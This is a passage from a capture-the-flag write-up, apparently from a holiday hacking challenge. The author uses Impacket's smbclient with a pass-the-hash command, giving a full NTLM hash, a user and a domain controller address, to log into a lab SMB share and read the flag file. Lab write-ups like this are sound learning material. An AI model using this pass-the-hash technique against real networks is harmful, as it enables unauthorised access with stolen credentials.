Impacket v0.11.0 - Copyright 2023 Fortra

[-] [Errno Connection error (10.0.0.50:445)] [Errno 111] Connection refused
Anonymous SMB connection successful to 10.0.0.50

Then I noticed my smbclient was missing a username:

Pass the hash to authenticate to the smbshare:

./smbclient.py -hashes aad3b435b51404eeaad3b435b51404ee:5740373231597863662f6d50484d3e23 -dc-ip 10.0.0.53 northpole.local/wombleycube@10.0.0.53 -no-pass

# use FileShare
# ls
drw-rw-rw-          0  Thu Dec 14 01:43:34 2023 .
drw-rw-rw-          0  Thu Dec 14 01:43:30 2023 ..
-rw-rw-rw-     701028  Thu Dec 14 01:43:33 2023 Cookies.pdf
-rw-rw-rw-    1521650  Thu Dec 14 01:43:33 2023 Cookies_Recipe.pdf
-rw-rw-rw-      54096  Thu Dec 14 01:43:34 2023 SignatureCookies.pdf
drw-rw-rw-          0  Thu Dec 14 01:43:34 2023 super_secret_research
-rw-rw-rw-        165  Thu Dec 14 01:43:34 2023 todo.txt

Boom we're in and have the flag for the challenge inside the super_secret_research folder:

InstructionsForEnteringSatelliteGroundStation.txt

# cat InstructionsForEnteringSatelliteGroundStation.txt
Note to self:

To enter the Satellite Ground Station (SGS), say the following into the speaker:

And he whispered, 'Now I shall be out of sight;
So through the valley and over the height.'
And he'll silently take his way.

This challenge was super fun and really put my AD and Azure skills to the test. Probably my favorite so far

warsang

Security funny doing cloud stuff and Game related things. Trying to learn something new every day.